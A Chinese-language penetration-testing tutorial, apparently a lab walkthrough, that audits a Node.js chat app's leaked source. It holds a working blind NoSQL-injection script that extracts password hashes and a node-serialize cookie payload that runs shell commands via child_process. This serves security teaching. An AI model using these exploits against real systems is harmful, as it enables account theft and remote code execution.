Skip to main content

代码审计自定义应用

代码审计自定义应用

在上一篇,我们从黑盒角度讨论了如何利用常见Web漏洞突破边界。白盒测试要比黑盒测试高效的多,有的漏洞甚至可能永远无法被发现除非人们看到源代码。企业独自开发的 web 应用 (公司产品、主站点等) 通常不是开源的, 一般情况下我们是无法访问到源代码的,那怎么才能审计代码?实际上,在一些情况下,我们是有机会得到源代码进行代码审计的,例如:

1:源代码文件source.tar.gz被放在web目录下。这是由于开发者不小心所导致的,但这种情况并非不可能遇到。源代码也可能存在于 FTP、SMB 服务器上,并且这些服务并且不需要认证的话...幸运的是,我们之前在 FTP 服务器中发现了 chat.js 应用的源代码。

2:目标对一开源app进行了一定的修改,为自己所用。虽然魔改程度有高有低,但原 app 存在的漏洞不一定被修复了。举个例子,在线学习系统 ATutor (https://atutor.github.io/),作为开源应用,在互联网上广泛运行。更糟糕的是,该应用的漏洞不是一般的多。

3:目标公司发生过源代码泄漏事件。

4:在信息搜集阶段,我们从泄漏库中找到了一些凭证,其中一个或多个凭证可以访问目标公司的 github 私人仓库,访问到源代码。我们之前在 FTP 服务器中找到了一组凭证,虽然并没有在仓库中发现其他应用的源码。


代码审计,通常通过手动追踪用户输入、敏感函数来进行。但也有一些自动代码审计的工具例如 Fotify (https://www.microfocus.com/en-us/cyberres/application-security) 协助我们寻找浅层的脆弱代码。

image.png

我们发现 Raven-Medicine.Org 域的 3000 端口运行着一款 NodeJS 的应用,Chat.JS。是不是有些熟悉?因为我们之前在 FTP 服务器中找到了疑似 Chat.js 的源代码。

image.png

在有的时候,泄漏得到的源代码不一定是正在被应用的版本,但无论如何,让我们试着分析该应用。代码审计,虽然字面上是审计代码,但并不意味着只盯着代码就行,我们也需要与 Web 应用进行交互、浏览、测试,Debugger 也会很有作用。

该应用支持游客注册,因此我们可以注册个帐号,之后登陆,我们可以在频道里发送消息。

image.png

有关注册部分的代码如下,我们发现后端数据库是 MongoDB。

app.post('/register', function(req, res) {
    console.log('[*] ' + req.ip + ' > POST /register');
    if (req.session.logged_in == true) {
        res.redirect('/');
    } else {
        var username = req.body.username;
        var password = req.body.password;
        if (username && password) {
            MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
                if (err) {
                    throw err;
                }
                var usercount=0
                var dbo = db.db("chatjs");
                var query = {$where: `this.username == '${username}'`};
                dbo.collection("users").findOne(query, function(err, result) {
                    if (err) {
                        throw err;
                    }
                    if (result == null) {
                         res.render('pages/register', {session: req.session, error:"Sorry, the registration is not open now"});
                         

                    } else {
                        res.render('pages/register', {session: req.session, error:"User already exists"});
                    }
                });
            });
        }
    }
});

我们看到,如果注册的时候,提交了一个已经存在的账户,会显示 “User already exists”。我们看这 2 行代码:

var query = {$where: `this.username == '${username}'`};
dbo.collection("users").findOne(query, function(err, result) {
............

查询根据用户提供的输入中的 this.username 字段来与数据库中的数据做比较,而 this.username 并没有执行任何用户输入的过滤。因此,如果我们构造一个特定的用户名,那么可以实现 NoSQL 注入。

在 SQL 注入中,经典的万能钥匙载荷是 username='admin' or 1=1。类比到该应用的语境下,我们可以构造这么一个PoC:

username 为 alice' && '1'=='1

password 任意

image.png

因为用户 alice 是存在的,只要后面的判断逻辑也是 True,那么最终结果也是 True。我们可以根据 "User already exists" 来判断最终语句的 True/False 值,从而间接地提取数据,比如可以是 alice' && this.password.substring(0,1).charCodeAt(0)>'75。我们通过逐一缩小 password 字段每个字符的区间从而得到最终准确的值,虽然密码是被 sha256 哈希过的。sha256 哈希后的结果只包含 a-f 这6字母以及 10 数字,对应的 ASCII 范围为 48-57,以及 97-102,大大缩小了我们需要比对的字符空间,即不需要考虑所有大写字母、剩余 20 个小写字母,以及任何特殊字符。

我们可以写出如下脚本:

import requests
import sys


charset=['48','49','50','51','52','53','54','55','56','57','97','98','99','100','101','102']

if len(sys.argv)!=3:
	print("Usage: python3 chatjs.py http://raven-medicine.org:3000 alice")

ip=sys.argv[1]
username=sys.argv[2]
passhash=""

for index in range(64):
	for char in charset:
		payload={'username':username+"'&&this.password.substring("+str(index)+","+str(index+1)+").charCodeAt(0)=='"+str(char),'password':'123'}
		#print(payload)
		r=requests.post(ip+"/register",data=payload,allow_redirects=False)
		if "User already exists" in r.text:
			print("Trus statement! The value of this position is: "+str(chr(int(char))))
			passhash=passhash+str(chr(int(char)))
			pass
			
print(passhash)

image.png

得到的哈希值是 b54f08623ae4039f55bcecba4961037fb4513d2ba9cb2b0667c5db970ac94911,明文为 elizabeth

我们可以利用该凭证进行登录,之后,我们便重点关注在认证后可访问的功能。我们看到,有关序列化与反序列化的包在该应用被导入:

// Necessary packages for drafts
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');

如果用户已经登录了,并且存在名为 draft 的 Cookie,那么该 cookie 值会被反序列化

            var draft = null;
            if (req.session.logged_in && req.cookies.draft) {
                draft = serialize.unserialize(new Buffer(req.cookies.draft, 'base64').toString()).msg;
            }
            res.render('pages/index', {messages: result, session: req.session, draft:draft});

结合 /post 终端的代码来看,draft 可能是指用户尚未发送的消息的相关信息。

app.post('/send', function(req, res) {
    console.log('[*] ' + req.ip + ' > POST /send');
    if (req.session.logged_in == true && req.body.message) {
        var post = req.body.post;
        var save = req.body.save;
        if (post != null) {
            res.cookie('draft','',{expires:new Date()});
            console.log('    -- Post');
            MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
                if (err) {
                    throw err;
                }
                var dbo = db.db("chatjs");
                dbo.collection('messages').insertOne({
                    author:req.session.user_id,
                    datetime:new Date(),
                    text:req.body.message
                }, function() {
                    db.close();
                });
            });
        } else if (save != null) {
            console.log('    -- Save');
            var cookie_val = Buffer.from(serialize.serialize({'msg':req.body.message})).toString('base64');
            res.cookie('draft',cookie_val,{maxAge:900000,httpOnly:true});
        }
    }
    res.redirect('/');
});

我们并没有看到任何对于 draft 的过滤,如果我们伪造一个恶意 Cookie,该 Cookie 会在我们访问 / 终端的时候被反序列化,从而触发载荷。我们利用 nodejs 来测试可用的载荷:

var serialize = require('node-serialize');
var test = {"msg":"_$$ND_FUNC$$_function(){ require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

在 nodejs 命令行中:

> var y = {
...  msg : function(){
.....  require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) });
.....  },
... }
undefined
> var serialize = require('node-serialize');
undefined
> console.log("Serialized: \n" + serialize.serialize(y));
Serialized: 
{"msg":"_$$ND_FUNC$$_function(){\n require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) });\n }"}
undefined
> 

一个任意代码执行的 Python PoC 脚本:

import requests
import sys
import base64

if len(sys.argv)!=5:
	print("Usage: python3 chatjs.py http://raven-medicine.org:3000 whoami")


ip=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
command=sys.argv[4]


payload = b'{"msg":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'%s\', function(error, stdout, stderr) { console.log(stdout) });}()"}'%(command.encode('utf-8'))


draft = base64.b64encode(payload).decode('utf-8')
c = {'draft':draft}
print("(+) Generated cookie!")


s=requests.Session()
headers={'Content-type':'application/x-www-form-urlencoded'}
data="username="+username+"&password="+password
r=s.post(ip+'/auth',headers=headers,data=data,allow_redirects=False)
r=s.get(ip+'/',cookies=c)
if "Logged in as" in r.text:
	print("Authenticated!")

我们看到,命令是成功被执行了,虽然在我们这一侧无法直接获得输出。

image.png

image.png